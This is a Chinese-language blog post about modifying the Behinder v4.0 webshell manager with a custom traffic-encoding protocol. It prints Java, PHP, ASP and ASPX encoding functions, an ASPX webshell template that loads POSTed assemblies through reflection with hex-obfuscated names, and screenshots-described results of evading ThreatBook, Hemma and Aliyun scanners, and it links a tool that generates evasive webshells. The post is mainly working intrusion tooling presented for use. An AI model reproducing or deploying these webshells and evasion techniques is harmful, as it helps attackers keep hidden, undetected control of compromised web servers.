前言

熟悉冰蝎的小伙伴都知道,冰蝎v4.0相对于3.0版本,更新了较多内容,其中包括了开放了传输协议的自定义功能,但是似乎并没有多少人用过冰蝎4.0的内容,4.0更新的主要就是让用户对流量的加密和解密进行自定义,实现流量加解密协议的去中心化。v4.0版本不再有连接密码的概念,你的自定义传输协议的算法就是连接密码。
什么意思呢,就是无论冰蝎和哥斯拉都是在以前的版本中,协议都是定死的,比如请求包和回显包都进行aes加密,aes解密。这个aes加解密是定死的,你想用des是不可以的。那么冰蝎4更新后,我们可以定义自己的协议,也就可以实现des了。
这个功能是不是很熟悉,其实在蚁剑中早已有了,就是编码和解码器。可以定义自己编码器也可以不定义解码器
image-20260128170329995

就是这样,请求包混淆,但是返回包是裸着的。这便是自定义协议了。

我们先来看下应该怎么用,打开冰蝎4.0,我们会看到一个传输协议界面
image-20260128173252148

点进去就可以看到相关的配置了,这里先说一下冰蝎的数据流转图
image-20260128173847851

这个是所有webshell的数据流转图。
假设bohemian为payload,本地加密 bohemian 为 098111104101109105097110后 发出,在🐎中有一个解密函数 ,把098111104101109105097110解为bohemian,然后eval(bohemian),执行的结果为bohemian ,加密为098111104101109105097110,客户端将获得返回的098111104101109105097110解密为bohemian,显示出来,这样我们就在流量中看到是编码过的流量了,不再是bohemian。
image-20260128174710259

本地加解密

我们先来看下本地加密和解密,原版流量image-20260128181824341这里我们想实现的流量是

image-20260128181841390

所以我们先本地加解蜜,很好理解因为我们的客户端时java写的,那么本地加密必然是java的代码,仿照模板进行写一下,本地加密

1
2
3
4
5
6
7
8
9
10
11
private byte[] Encrypt(byte[] data) throws Exception {
StringBuilder out = new StringBuilder(data.length * 3);
for (int i = 0; i < data.length; i++) {
int v = data[i] & 0xFF; // byte 转 int,避免符号扩展
out.append((char) ('0' + (v / 100)));
out.append((char) ('0' + ((v / 10) % 10)));
out.append((char) ('0' + (v % 10)));
}
return out.toString().getBytes("UTF-8");

}

本地解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
private byte[] Decrypt(byte[] data) throws Exception {
String raw = new String(data, "UTF-8");
String digits = raw.replaceAll("\\D", "");
if (digits.length() % 3 != 0) {
throw new IllegalArgumentException("cipher length not multiple of 3: " + digits.length());
}
byte[] result = new byte[digits.length() / 3];
for (int i = 0; i < digits.length(); i += 3) {
int ascii = (digits.charAt(i) - '0') * 100
+ (digits.charAt(i+1) - '0') * 10
+ (digits.charAt(i+2) - '0');
result[i/3] = (byte) ascii;
}
return result;
}

gpt简单写一下,
image-20260128182249965

就可以实现了。

php

接下来实现php
php实现也很简单,就是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function Encrypt($data) {
$result = '';
// 遍历每个字节
for ($i = 0; $i < strlen($data); $i++) {
$byte = ord($data[$i]); // 获取 ASCII 值(0–255)
$result .= str_pad((string)$byte, 3, '0', STR_PAD_LEFT); // 转为3位十进制
}
return $result;
}

function decrypt($input) {
$input = (string)$input;
$result = '';
for ($i = 0; $i < strlen($input); $i += 3) {
$segment = substr($input, $i, 3);
$result .= chr((int)$segment);
}
return $result; // ✅ 返回解密后的原始字符串
}

用php去实现加解密函数就可以了,最后要return一下。
然后就可以了 测试了 。
image-20260129110514575

这个时候就可以测通代码了。之后我们就可以用了。
image-20260129110758596

测试一下功能。没有问题。
不能说流量很那啥,只能说,这种流量你肯定是第一次见。
这样的化,php就改好了,那么看一下木马
image-20260129111236121
这就我们就会发现,没有那种xor啥的的,就是纯纯的字符转ascii,代码也是很短的。

接下来就是免杀了。
image-20260129112124597
image-20260129112143100

image-20260129114051864

围布这小子,咋改都是未知,gpt分析的嘎嘎对,就这吧,太菜了。

阿里云怎么对抗都是 可疑 简直过不去,河马显示机器学习,这机器学习还挺厉害,大概率还是eval那里,后面我们在研究。接下来就是把木马变量整成动态的即可了。花费一点时间调一下。

jsp

接下来是jsp,我们本地的代码只需要一次即可,不需要再jsp中再次进行写了,远程还是要写一下的。其实也不用,我们本地和远程的jsp的加解密用的是一个代码。
image-20260129112928161
image-20260129113233621

image-20260129113259485

会话流量,这样就可以了。
image-20260129113640849

免杀的详细就不在这里讲了,有兴趣的同学看看以前的免杀思路,万变不离其宗。
image-20260129114223166

image-20260129114242800

不知道为啥jsp微步的gpt不介绍一下了。

接下来就是无聊的花一点时间进行封装和动态的替换变量了,不在详细介绍。

asp

asp的话也不是很难,先把字符串的加解密函数写一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
Function Encrypt(data)
Dim result, i, ch, asciiStr
result = ""
For i = 1 To Len(data)
ch = Mid(data, i, 1)
asciiStr = CStr(Asc(ch)) ' 把字符转成ASCII数字字符串
If Len(asciiStr) < 3 Then
asciiStr = String(3 - Len(asciiStr), "0") & asciiStr
End If
result = result & asciiStr
Next
Encrypt = result
End Function


Function Decrypt(content)
Dim iByte, strData
Dim result, i, segment, ascii
strData = ""
For iByte = 1 To LenB(content)
strData = strData & Chr(AscB(MidB(content, iByte, 1)))
Next
result = ""
For i = 1 To Len(strData) Step 3
segment = Mid(strData, i, 3)
If IsNumeric(segment) Then
ascii = CInt(segment)
result = result & Chr(ascii)
End If
Next
End Function

image-20260129142742622

来看下流量,
image-20260129142931843

asp的流量有点小怪,返回包中间有空格
image-20260129143034682

和这个response.wite 和 response.binarywrite 有关。这里能用 先不改源码。
然后花一点时间,进行免杀和动态变量一下。
image-20260129143857331

image-20260129143935264

免杀依旧没问题,就是啥把,这个微步有没有gpt了。

asp可以过阿里云

image-20260129155507475

依然还是过不了阿里云,太难了。

aspx

aspx的话呢,也不难,先写一下加解密函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
private byte[] Encrypt(byte[] data)
{
StringBuilder sb = new StringBuilder();
foreach (byte b in data)
{
sb.Append(b.ToString("D3")); // 每个字节转3位数字
}
// 把字符串再转回 byte[],用于网络传输或写入文件
return Encoding.UTF8.GetBytes(sb.ToString());
}
private byte[] Decrypt(byte[] encodedData)
{
string str = Encoding.UTF8.GetString(encodedData);
List<byte> result = new List<byte>();
for (int i = 0; i < str.Length; i += 3)
{
string segment = str.Substring(i, 3);
byte b = byte.Parse(segment);
result.Add(b);
}
return result.ToArray(); // 得到原始字节数组
}
//模板
<%%
//byte[] c=Request.BinaryRead(Request.ContentLength);Assembly.Load(%s(c)).CreateInstance("U").Equals(this);
if (Request.HttpMethod == "POST")
{
byte[] c=Request.BinaryRead(Request.ContentLength);
string asname=System.Text.Encoding.ASCII.GetString(new byte[] {0x53,0x79,0x73,0x74,0x65,0x6d,0x2e,0x52,0x65,0x66,0x6c,0x65,0x63,0x74,0x69,0x6f,0x6e,0x2e,0x41,0x73,0x73,0x65,0x6d,0x62,0x6c,0x79});
Type assembly=Type.GetType(asname);
MethodInfo load = assembly.GetMethod("Load",new Type[] {new byte[0].GetType()});
object obj=load.Invoke(null, new object[]{Decrypt(c)});
MethodInfo create = assembly.GetMethod("CreateInstance",new Type[] { "".GetType()});
string name = System.Text.Encoding.ASCII.GetString(new byte[] { 0x55 });
object pay=create.Invoke(obj,new object[] { name });
pay.Equals(this);
}

%%>

原本的模板就不在替换了。只写加解密函数即可。
image-20260129161620576

简单测试一下。没有问题。
花点时间封装一下。接下来看下免杀。
image-20260129161829538

image-20260129162019412

阿里云也过了。还是那就话,阿里云不检测.net的。
image-20260129162451988

简单看下流量也没啥问题。

使用

那么怎么使用呢,很简单,这里已经写好了。
image-20260129162620854

冰蝎3和冰蝎4,点击这个免杀生成4,
image-20260129162718942

输入一下协议名称,
image-20260129162836838

会生成多个文件,config是协议名称,其他都是木马
image-20260129163033685

点击传输协议,导入刚刚的config,
image-20260129163152509

新增url的时候,点击自定义,就会有显示传输协议,选中刚刚的传输协议就可以了。
是不是很简单。这个其实不用每次都生成,因为导入的都是定死的,只是每次生成的木马是不同的。

总结

在界面添加了冰蝎免杀4生成的按钮,这样在找马的时候就不会手忙脚乱的了,直接生成即可。这里也算进行了简单的免杀,全部语言除了 aliyun没有过去,其他的平台基本全过,aspx的阿里云过去了。不得不承认,aliyun是强的。到这里你会发现,这个马是没有密码的,是的,我们用协议代替了密码,自己定义协议即可。

下个版本

目前就只是更新了这个可以实现ascii的版本吧,后面看看有没有更好的流量方式,太复杂了有点明显,感觉最好还是伪装成正常的流量,好看一点吧。当然,如果你有什么好的建议或者思路,留言即可。

下载、使用

什么,你说看不明白、不想动手、太麻烦,没事,去下载就可以了。
https://github.com/Bohemiana/behinder_erkai
如果感觉还凑合,大家帮忙点点star

致谢

最后感谢您读到现在,这篇文章匆忙构成肯定有不周到或描述不正确的地方,期待业界师傅们用各种方式指正勘误。如果您感觉文章写的不错或者工具用起来还行,帮笔者点点stars、给公众号点点关注,先谢谢大家了。

参考
1
2
3
https://github.com/rebeyond/Behinder            原版behinder
https://mp.weixin.qq.com/s/EwY8if6ed_hZ3nQBiC3o7A 冰蝎v4.0传输协议详解
https://xz.aliyun.com/news/11899 冰蝎4.0流量分析及魔改

emmm 太菜了
一直在路上